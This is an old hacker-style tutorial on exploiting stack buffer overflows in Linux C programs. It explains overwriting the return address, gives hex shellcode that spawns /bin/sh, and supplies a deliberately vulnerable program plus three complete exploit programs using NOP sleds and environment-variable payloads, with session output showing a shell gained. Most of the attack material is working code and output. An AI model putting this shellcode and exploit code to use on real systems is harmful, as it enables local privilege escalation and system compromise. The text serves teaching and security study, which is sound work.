-----------------------[ BUFFEROVERFLOWS by Lamagra buffer/example.c void main() { char big_string[100]; char small_string[50]; memset(big_string,0x41,100); /* strcpy(char *to,char *from) */ strcpy(small_string,big_string); } <--> end of example.c The program creates two strings, memset() files the big_strings with char 0x41 (= A). Then it copies the big_string into the small_string. As we all see the small_string can't hold 100 chars and a bufferoverflow follows. Let's take a look at the memory: [ big_string ] [ small_string ] [SFP] [RET] During the bufferoverflow the SFP (Stack Frame Pointer) and the RET will be overwritten by A's. This means that the RET will now be 0x41414141 (0x41 is the hex value of A). When the function returns, the IP will be replaced by the overwritten RET. Then the computer will try to execute the instruction at 0x41414141. This will result in a segmentation violation because this address is outside the process space. --------------------[ Exploitation Now that we know we can change the flow of the program by overwriting the RET, we can try to exploit it. Instead of overwriting with A's, we could overwrite it with a specific address. ------------[ Execution of arbitrary code Now we need something to point the address to and execute. In most cases we'll just spawn a shell, although this is not the only thing we can do. Before: FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF B = the buffer E = stack frame pointer R = return address F = other data After: FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF S = shellcode A = address pointing to the shellcode F = other data The code to spawn a shell in C looks like this: <++> buffer/shell.c void main(){ char *name[2]; name[0] = "/bin/sh"; name[1] = 0x0; execve(name[0], name, 0x0); exit(0); } <--> end of shellcode I'm not going to explain how to produce shellcode because this will require a lot of knowledge in ASM. It's a long and boring process that we don't need to get into because there is more than enough shellcode available. For those who want to learn how to make it: - compile the program above using the -static flag - open it up in gdb, use the "disassemble main" command - take all the unnecessary code - change and rewrite it, this time in ASM - compile, open it up in gdb and use the "disassemble main" command - use the x/bx command on the addresses of the instructions and retrieve the hex-code. XXXXXXXXXXX X WAKE UP X XXXXXXXXXXX Or you can just take this code char shellcode[]= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; ------------[ Finding the address When we try to overflow a buffer of an another program, the problem is finding the address of the buffer. The answer to this problem is that for every program the stack starts at the same address. Therefore by knowing where the stack starts we can try to guess the address of the buffer. This program will give us its stack pointer: <++> buffer/getsp.c unsigned long get_sp(void){ __asm__("movl %esp, %eax); } void main(){ fprintf(stdout,"0x%x\n",get_sp()); } <--> end of getsp.c ------------[ Trying to exploit an example We're going to try to exploit this program: <++> buffer/hole.c void main(int argc,char **argv[]){ char buffer[512]; if (argc > 1) /* otherwise we crash our little program */ strcpy(buffer,argv[1]); } <--> end of hole.c <++> buffer/exploit1.c #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"BUF=",4); putenv(buff); system("/bin/bash"); } <--> end of exploit1.c Now we can try to guess the offset (bufferaddress = stackpointer + offset). [bubbles]$ exploit1 600 Using address: 0xbffff6c3 [bubbles]$ ./hole $BUF [bubbles]$ exploit1 600 100 Using address: 0xbffffce6 [bubbles]$ ./hole $BUF segmentation fault etc. etc. As you see this process is nearly impossible, we have to guess the exact address of the buffer. To increase our chances, we can pad NOP's before the shellcode in our overflow buffer. The NOP instruction is used to delay execution. We use it because then we don't need the guess the exact address of the buffer. If the overwritten return address points inside the NOPstring. Our code will be executed seconds later. The memory should look like this: FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF N = NOP S = shellcode A = address pointing to the shellcode F = other data We rewrite our old exploit. <++> buffer/exploit2.c #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"BUF=",4); putenv(buff); system("/bin/bash"); } <--> end of exploit2.c [bubbles]$ exploit2 600 Using address: 0xbffff6c3 [bubbles]$ ./hole $BUF segmentation fault [bubbles]$ exploit2 600 100 Using address: 0xbffffce6 [bubbles]$ ./hole $BUF #exit [bubbles]$ To improve our exploit even more, we could place the shellcode inside an environment variable. Then we could overflow the buffer with the address of this variable. This method will increase our chances even more. We modify our code so it uses the setenv() call to put the shellcode in the environment. <++> buffer/exploit3.c #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"BUF=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } end of exploit3.c [bubbles]$ exploit2 600 Using address: 0xbffff5d7 [bubbles]$ ./hole $RET #exit [bubbles]$ --------------------[ Finding bufferoverflows There is really only one way to find bufferoverflows, and that is by reading the source. Since Linux is an open-source system, it will be easy to obtain the source of the programs. Long live open-source. Look for library functions that don't preform boundary checking like: strcpy(), strcat(), sprintf(), vsprintf(), scanf(). Other dangerous ones are: getc() and getchar() put in a while loop. misuse of strncat. --------------------[ Other refrences Smashing the stack for fun and profit by aleph1 bufferoverflows by mudge --------------------[ Ending Well that about wraps it up, i hope you learned something and enjoyed reading this guide. I enjoyed writing it. If you any further questions, remarks or anything, you can find me on IRC (irc.box5.net) in some channel. --------------------[ EOF